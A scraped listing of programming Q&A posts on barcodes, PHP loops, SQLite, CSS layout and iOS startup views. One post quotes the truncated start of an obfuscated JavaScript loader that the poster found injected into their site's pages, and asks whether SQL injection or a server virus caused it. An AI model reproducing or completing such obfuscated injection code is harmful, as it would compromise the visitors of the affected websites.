  • Barcode field length

    - by bestattendance
    I'm writing some attendance software. Each member will have an ID card with a barcode which they will use to sign in to events. How long should the barcode field be in my database? I'd like to accept Code 39 and Code 128 barcodes. I know these are variable length codes, so what should I set the max length to? Thanks! EDIT: My clients will be using a variety of third-party barcode printing tools.

  • foreach with an array of stdclass objects

    - by Jared Steffen
    So, what I want to do is quite simple in my mind. I have an array that consists solely of four objects. I want to create a loop that will echo an attribute of each object in the array. The only success I've had, however, is echoing every object and every property of the objects. I've never dealt with objects so this is probably the TRUE root of the problem. There's been a few revisions but the only thing I've really excelled at is creating error codes. Here is what I have: $categories = get_categories(array('child_of' => '8')); foreach ($categories as $cat) { echo $cat->name; };

  • How do I put static data into an SQLite database in Android?

    - by sirconnorstack
    If I have a bunch of data that is never going to change (eg. an English language dictionary or the rgb values of a couple hundred color names), how do I use an SQLite database to store it? I know a database is faster than loading everything into memory when the app starts, but how do I make the database either the first time the app runs or "before" the apps ever runs?

  • How to use JavaScript to measure how bright a users monitor is ?

    - by HankV
    I've noticed that the brightness of computer monitors drastically varies between computers. As such, this changes the look of web pages greatly. Is there a way to use JavaScript to automatically detect how bright (or dark) a users monitor is so that I can adjust my web page colors accordingly? UPDATE Please note that I do not want manual user involvement. I want this detection to be automatic so that users don't realize I dynamically change the color palette automatically based on the brightness/darkness of their monitor.

  • Chunks of javascript added to webpages on server

    - by SteD
    I've found out that my web pages (mainly index.php, main.html, include.inc) have been injected with a chunk of javascript codes at the very bottom after my original code. <script>try {this.l="";var d=window[unescape("%75%6e%65%73%63%61%70%65")];var M;if(M!='' && M!='a'){M='bt'};var A="";var Mc=new String();var e=null;this.k="";var t;if(t!='' && t!='iX'){t=''};var K=window[d("%52%65%67%45%78%70")];var p=d("%72%65%70%6c%61%63%65");function C(H,Z){var N=d("%5b" Is it possible for SQL injections to add the chunk of js code to the webpages(like 50 of them are infected)? Or is it a virus on the server itself? I am using Drupal + Ubercart with quite minimal forms inputs.

  • How to justify text on a TextView made easy- Android

    - by Juan
    I'm looking for a simple way to forget that I'm using a WebView to have justified text in my TextView. Has someone made a custom view for this? I'm well aware that I can do something like this: WebView view = new WebView(this); view.loadData("my html with text justification","text/html","utf-8"); But it gets ugly when you want to set the size, the color or other common properties of the TextView, there must be a more convenient way of doing it.

  • Track Pedestrians

    - by 2vision2
    I am using OpenCV sample code “peopledetect.cpp” to detect and track pedestrians. The code uses HoG for feature extraction and SVM for classification. Please find the reference paper used here. The camera is mounted on the wall at a height of 10 feet and 45 degree down. There is no restriction on the pedestrian movement within the frame. I want to track the detected pedestrians’ movement within the frame. The issue I am facing is pedestrians are detected only in the middle region of the frame as most of the features are not visible as soon as the pedestrian enters the frame region. I want to track each person’s movement in the entire frame region. How to do it? Is tracking required? Can anyone give any reference to blogs/codes?

  • Making a row of divs all be the same height using CSS

    - by pavel
    I have a row of divs that must all be the same height, but I have no way of knowing what that height might be ahead of time (the content comes from an external source). I initially tried placing the divs in an enclosing div and floated them left. I then set their height to be "100%", but this had no perceptible effect. By setting the height on the enclosing div to a fixed-height I could then get the floated divs to expand, but only up to the fixed height of the container. When the content in one of the divs exceeded the fixed height, it spilled over; the floated divs refused to expand. I Googled this floated-divs-of-the-same-height problem and apparently there's no way to do it using CSS. So now I am trying to use a combination of relative and absolute positioning instead of floats. This is the CSS: <style type="text/css"> div.container { background: #ccc; position: relative; min-height: 10em; } div.a { background-color: #aaa; position: absolute; top: 0px; left: 0px; bottom: 0px; width: 40%; } div.b { background-color: #bbb; position: absolute; top: 0px; left: 41%; bottom: 0px; width: 40%; } </style> This is a simplified version of the HTML: <div class="container"> <div class="a">Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Integer pretium dui sit amet felis. Integer sit amet diam. Phasellus ultrices viverra velit.</div> <div class="b">Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Integer pretium dui sit amet felis. Integer sit amet diam. Phasellus ultrices viverra velit. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Integer pretium dui sit amet felis. Integer sit amet diam. Phasellus ultrices viverra velit.</div> </div> This works, unless you change the min-height to something like 5em (demonstranting what happens when the content exceeds the minimum height), and you can see that while the text doesn't get cutoff, the divs still refuse to expand. Now I am at a lose. Is there any way to do this using CSS?

For this purpose the terrain (topographical detail) doesn't help; I just want solid color like you would see if you selected "Map" in Google Maps. What is the KML to do this? I can't find anything in the KML documentation.

  • Trouble setting FIrst view controller which will appear on App Startup

    - by Matte.Car
    I'm setting setting FIrst view controller which will appear on my App Startup. It should appear an UIView first time as a tutorial and, from second time, another standard view. In AppDelegate I wrote this: #import "AppDelegate.h" #import "TabBarController.h" #import "TutorialController.h" @implementation AppDelegate TabBarController * viewControllerStandard; // standard view TutorialController * viewControllerFirst; // tutorial view @synthesize window; - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { if ([@"1" isEqualToString:[[NSUserDefaults standardUserDefaults] objectForKey:@"Startup"]]) { window.rootViewController = viewControllerStandard; } else { window.rootViewController = viewControllerFirst; } [window makeKeyAndVisible]; return YES; } It doesn't return any alert but, launching app, after splashscreen, it appear only a black screen. Without that codes everything works fine. What could be wrong? Thank you!
